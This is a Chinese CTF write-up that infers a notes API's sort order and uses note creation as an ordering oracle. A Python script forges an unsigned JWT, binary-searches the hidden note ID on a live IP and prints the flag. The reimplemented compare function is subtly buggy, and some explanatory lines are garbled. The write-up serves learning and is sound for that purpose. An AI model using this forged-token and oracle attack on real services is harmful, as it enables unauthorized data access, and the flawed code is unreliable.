['1530295850', '1530295852', '1530295854', '1530295856', '1528911533'] # D
['1530295850', '1530295852', '1530295854', '1530295856', '1530295858', '1528911533'] # E
['1530295850', '1530295852', '1530295854', '1530295856', '1530295858', '1528911533', **'1530295860'**] # F
['1530295850', '1530295852', '1530295854', '1530295856', '1530295858', '1528911533', '1530295860', '1530295862'] # G

在出现了1530295860的地方发生了模式中断(特别是在插入F之后)。它没有插入到最后。好吧,这怎么可能?!

突破

经过一段时间的思考后,结论让我感到震惊!这些笔记是按字典顺序排列的!

假设笔记的IDbar。然后,如果我们添加带有按字典顺序<(小于)bar(例如abc)的ID的新笔记,它将被插入到bar之前的位置如果它是按字典顺序> bar(例如zap),它将在bar之后插入。

所以服务器似乎用了某种比较特殊的排序功能。我们需要更多地了解排序的工作原理。好吧,我们可以查看源代码,看看它是如何工作的,但我们无法访问源代码。因此,我选择插入更多的随机笔记(不是非常随机,我选择性的使用了一些可以让我们能更深入的了解所使用的分类技术的样本)。

我检查了各种字母序列的顺序(我写了一个小脚本),并得到了以下输出:

['00', '000', '01', '001', '09', '0Z', '0a', '0z', 'A', 'A9', 'AA', 'AZ', 'Az', '<secret>', 'Z', 'ZZ', '0', 'a', 'a0', 'a1', 'a9', 'aZ', 'aa', 'ab', 'az', 'b', 'c', 'z', 'zz', '1', '9', '99']

<secret>是存放flag笔记的ID的位置。起初这对我来说没什么意义。如果我忽略每个字符串的第一个字母,那一切看起来都很正常。如果我不忽略第一个字母,由于某种原因,19就出现在了右边那里。

经过进一步测试,我做出了以下推论:

· ababc<ac

· ab < abc

· a9b < 0z

· a < aa

· aa < aaa

· 等等

所以从技术上来说,这并不是排序算法中的一个小bug,我相信这个CTF挑战题目的作者想要让它变得更难,所以他可能会加入这种不寻常的想法。

如果我们要实现题目中使用的这种字符串比较技术,我们可以想出下面这样的代码:

letters = 'abcdefghijklmnopqrstuvwxyz'
letters = letters.upper() + letters

#  1 if a > b
#  0 if a = b
# -1 if a < b

def compare(string_a, string_b):
    global letters

    for i, (a, b) in enumerate(zip(string_a, string_b)):
        if i == 0:
            alpha = '0123456789' + letters
        else:
            alpha = letters + '0123456789'

        a_ind, b_ind = alpha.index(a), alpha.index(b)
        if a_ind < b_ind:
            return -1
        elif a_ind > b_ind:
            return 1

    if len(a) < len(b):
        return -1
    elif len(a) > len(b):
        return 1

    return 0

既然我们已经知道题目是如何进行密钥比较的,那接下来我们就可以努力的寻找密钥。

暴力猜解

我们从文档中了解到一些规则:

· ID必须与以下正则表达式匹配[a-zA-Z0-9]+

· ID可以超过16个字节。

一种天真的方法是尝试每一个可能的密钥。不过这需要很多时间和要求。

我们还知道下面几个事实:

· 我们需要创建具有任意ID的新笔记,并推断包含flag的笔记是在之前还是之后。

· 我们只能使用比较运算符。

· 搜索空间是已知的 [a-zA-Z0-9]+

这叫二分搜索!它非常简单。我们只需要自动化暴力猜解并将二分搜索集成到其中。

我的脚本(brute_secret_note.py)看起来像下面这样:

#!/usr/bin/env python3

import json
from base64 import b64decode

import requests as rq


def rpc(method, data=None, post=False):
    headers = {
        'Authorization': 'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MX0.',
        'Content-Type': 'application/json',
        'Accept': 'application/notes.api.v2+json',
    }

    url = 'http://159.203.178.9/rpc.php?method={}'.format(method)

    if data:
        data = json.dumps(data)
        if post:
            # POST with params
            headers['Content-Length'] = str(len(data))
            return rq.post(url, headers=headers, data=data)
        else:
            # GET with params
            return rq.get(url, params=json.loads(data), headers=headers)
    elif post:
        # POST without params
        return rq.post(url, headers=headers)

    # GET request without params
    return rq.get(url, headers=headers)


def get_note(ident):
    r = rpc('getNote', data={'id': ident})
    if r.status_code == 200:
        return r.json()['note']


def epochs():
    r = rpc('getNotesMetadata')
    if r.status_code == 200:
        return r.json()['epochs']
    return None


def reset():
    r = rpc('resetNotes', post=True)
    if r.status_code == 200:
        return r.json()['reset']
    return None


def create(ident, note='a'):
    r = rpc('createNote', data={'id': ident, 'note': note}, post=True)
    if r.status_code == 400:
        return False
    elif r.status_code == 201:
        return True
    return None


def where(a, b):
    for i, (x, y) in enumerate(zip(a, b)):
        if x != y:
            return i
    return min(len(a), len(b))


def search(head, secret=0):
    if head is '':
        alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
    else:
        alpha = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'

    i_min, i_max = 0, len(alpha) - 1
    old_epochs = epochs()
    tries = []

    while i_min + 1 != i_max:
        print('Search space: ', end='')
        for i, c in enumerate(alpha):
            print(['\x1B[0m', '\x1B[7m'][(i_min <= i) and (i <= i_max)] + c, end='')
        print('\x1B[0m')

        i = (i_max + i_min) // 2

        print('Trying', head + alpha[i])
        r = create(head + alpha[i])

        new_epochs = epochs()
        ind = where(old_epochs, new_epochs)
        old_epochs = new_epochs

        if r is None:
            print('Something has gone terribly wrong.')
            exit(1)
        elif r is False:
            secret_note_id = head + alpha[i]
            return secret_note_id

        if ind <= secret:
            secret += 1
            i_min = i
        elif ind > secret:
            i_max = i

    return search(head + alpha[i_min], secret)


reset()
secret_note_id = search('')
print('\nFound secret note ID: {}'.format(secret_note_id))

encoded_flag = get_note(secret_note_id)
decoded_flag = b64decode(encoded_flag).decode('utf-8')
print(u'\nFlag found 💃💃💃: {}'.format(decoded_flag))

运行脚本:

python3 brute_secret_note.py

代码实现原理

search()是最重要的功能。很容易想到search() 只是试图找到最后一个字母,然后我们让它自己调用自己。第一个if语句的存在,是因为第一个字母的排序与其余字母的排序不同。对于第一个字母'0''z',但对于其余的字母,'0'是最小的字母。

按照字母进行分类后,它首先检查第一个字母,然后继续按照字母分类。例如:’abc’'abb''aac'

alpha只是按排序顺序排列的字母。i_mini_max是我们正在寻找的字母表中的界限。

首先,所有的字母都在我操作的范围内。i_min0i_max是最后一个字母。使用二分搜索,我把第一个字母放在我的界限中间。(i_min + i_max) // 2用于找到这个最中间的部分。然后我将标头(最初是一个空字符串)和找到的字符拼接形成一个笔记ID并创建一个带有该ID的笔记。

search()函数的最后一部分会设置下一次迭代的边界。当createNote()返回false时,表示我们已经到达结尾,然后返回。

一旦我们找到了包含flag的笔记ID,我们就用该ID 调用getNote()base64解码响应的内容后,我们就得到了flag

702-CTF-FLAG: NP26nDOI6H5ASemAOW6g